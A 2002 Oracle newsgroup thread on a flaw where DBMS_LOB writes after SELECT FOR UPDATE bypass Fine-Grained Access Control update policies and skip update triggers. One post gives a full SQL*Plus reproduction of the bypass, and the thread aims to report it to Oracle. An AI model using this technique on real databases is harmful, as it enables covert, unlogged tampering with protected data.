Re: Fine Grain Security and select... for update

Vlad -

I'm very impressed with your fine test case. From here, it looks as though you've uncovered a potentially serious security hole that Oracle and all Oracle DBAs should be made aware. I highly recommend that the originator of
this thread (Ronnie Yours) open a TAR with Oracle and pursue this issue. A quick search through Metalink doesn't reveal any existing, published bugs or notes on this issue.

If Ronnie isn't willing to open a TAR, then I will. Oracle needs to know about this if it doesn't know already.

Thanks,
TG

"Vladimir M. Zakharychev" wrote:

> Well, for me this is issue with FGAC where LOB update through DBMS_LOB
> bypasses FGAC update policy. For example, if you are attempting to modify
> a LOB via DBMS_LOB in a table for which you don't have UPDATE privilege,
> ORA-1031 will be raised, and this is expected (though one can SELECT FOR
> UPDATE from such table, as you noted). But if you do the same on a table
> where FGAC controls access, update policy is simply not enforced, that is
> DBMS_LOB does not verify if LOB write is in violation of the policy. This is
> not good, to say the least, as this allows for covert alteration of data in a
> policy-protected table and essentially defeats the purpose of FGAC, at least
> for LOBs... I verified that this issue exists on 8.1.7.4 and 9.2.0.1 - positive
> on both:
>
> SQL> select banner from v$version;
>
> BANNER
> ----------------------------------------------------------------
> Oracle9i Enterprise Edition Release 9.2.0.1.0 - Production
> PL/SQL Release 9.2.0.1.0 - Production
> CORE 9.2.0.1.0 Production
> TNS for 32-bit Windows: Version 9.2.0.1.0 - Production
> NLSRTL Version 9.2.0.1.0 - Production
>
> SQL> create table lob_fgac_test ( id number(10,0) primary key,
> 2 lob CLOB default empty_clob()
> 3 );
>
> Table created.
>
> SQL> create table lob_updates_log( tstamp date default sysdate,
> 2 usr varchar2(32) default USER,
> 3 logstr varchar2(200)
> 4 );
>
> Table created.
>
> SQL> create or replace trigger trg$r_bu$log_fgac_test
> 2 before update on lob_fgac_test
> 3 for each row
> 4 declare
> 5 pragma autonomous_transaction;
> 6 begin
> 7 insert into lob_updates_log (logstr)
> 8 values ('Attempt to update LOB #'||to_char(:old.id));
> 9 commit;
> 10 end;
> 11 /
>
> Trigger created.
>
> SQL> insert into lob_fgac_test (id) values (1);
>
> 1 row created.
>
> SQL> update lob_fgac_test set lob = 'Original LOB content.' where id = 1;
>
> 1 row updated.
>
> SQL> commit;
>
> Commit complete.
>
> SQL> create or replace function lob_fgac_policy(p1 varchar2, p2 varchar2)
> 2 return varchar2
> 3 as
> 4 begin
> 5 return '1=0';
> 6 end;
> 7 /
>
> Function created.
>
> SQL> begin
> 2 dbms_rls.add_policy( object_name => 'LOB_FGAC_TEST',
> 3 policy_name => 'LOB_FGAC_TEST_DENY_UPDATES',
> 4 policy_function => 'LOB_FGAC_POLICY',
> 5 statement_types => 'update',
> 6 update_check => TRUE);
> 7 end;
> 8 /
>
> PL/SQL procedure successfully completed.
>
> SQL> select lob from lob_fgac_test where id = 1;
>
> LOB
> --------------------------------------------------------------------------------
> Original LOB content.
>
> SQL> update lob_fgac_test set lob = empty_clob() where id = 1;
>
> 0 rows updated. <--- !!! that's just fine, our policy prevented rogue update.
>
> SQL> select lob from lob_fgac_test where id = 1;
>
> LOB
> --------------------------------------------------------------------------------
> Original LOB content.
>
> Cool, content not changed - policy did work as expected.
>
> SQL> declare
> 2 l CLOB;
> 3 begin
> 4 select lob into l from lob_fgac_test for update;
> 5 dbms_lob.writeAppend(l, 6, '+trash');
> 6 commit;
> 7 end;
> 8 /
>
> PL/SQL procedure successfully completed.
>
> SQL> select lob from lob_fgac_test where id = 1;
>
> LOB
> --------------------------------------------------------------------------------
> Original LOB content.+trash
>
> Hey, what's that?
>
> SQL> select to_char(tstamp, 'HH24:MI:SS') tstamp,
> 2 substr(usr,1,10) usr, substr(logstr, 1, 60) logged_action
> 3 from lob_updates_log;
>
> TSTAMP USR LOGGED_ACTION
> -------- ---------- ------------------------------------------------------------
> 19:42:58 SCOTT Attempt to update LOB #1
>
> oops... LOB is updated despite the policy we have for the table... More than
> that, there is no way to catch and log this update since DBMS_LOB writes do
> not cause update triggers to be fired... Umm... Not good at all...
> Not sure if this all is documented (I am sure I've seen the trigger not firing
> issue documented, but not the fact that DBMS_LOB also bypasses FGAC
> policies.) Another broken feature in Unbreakable ("can't break in") database...
>
> --
> Vladimir Zakharychev (bob@dpsp-yes.com) http://www.dpsp-yes.com
> Dynamic PSP(tm) - the first true RAD toolkit for Oracle-based internet applications.
> All opinions are mine and do not necessarily go in line with those of my employer.
>
> "Jusung Yang" <JusungYang_at_yahoo.com> wrote in message
> news:130ba93a.0209201242.298b31bf_at_posting.google.com...
> > I am curious if you have resolved this issue. I wonder if this is at
> > all related to the Fine Grained Security. In general, when you grant
> > "select" privilege to a user, you also gives him the right to lock the
> > rows in the table. So the grantee can issue "select ... for update.."
> > on the table. This SQL just identifies the rows that are needed and
> > locks them so nobody else can modify them. However, if the grantee
> > subsequently try to actually "update" the rows, errors will be raised,
> > as the grantee does not have "update" privilege. So, the point is, you
> > can issue a "select .. for update" without actually carrying out the
> > "update".
> >
> >
> >
> > "Ronnie Yours" <ronnie_yours_at_yahoo.com> wrote in message
> news:<am7fka$47k$1_at_nntp-m01.news.aol.com>...
> > > Hi,
> > >
> > > I am in the process of implementing fine grain security on our databases and
> > > it works great except for the fact that when it comes to Lobs it doesnt seem
> > > to work, especially in case of updates.
> > >
> > > Is it a known issue or am I doing something wrong.
> > >
> > > In my database certain users can see a record but cannot update it.
> > >
> > > The problem is when trying to update a clob field I need to do a select
> > > for... update and this selects the row for update irrespective of the
> > > security on it. This is because the user has select rights on the row . But
> > > the user should not be able to issue a select ... for update because he/she
> > > does not have update rights on the row.
> > >
> > > Now using dbms_lobs.write the user can write into a lob field even if he
> > > does not have priveleges to do it.
> > > Please suggest.
> > >
> > > Thanks
> > > Ronnie
Received on Wed Sep 25 2002 - 11:03:40 CDT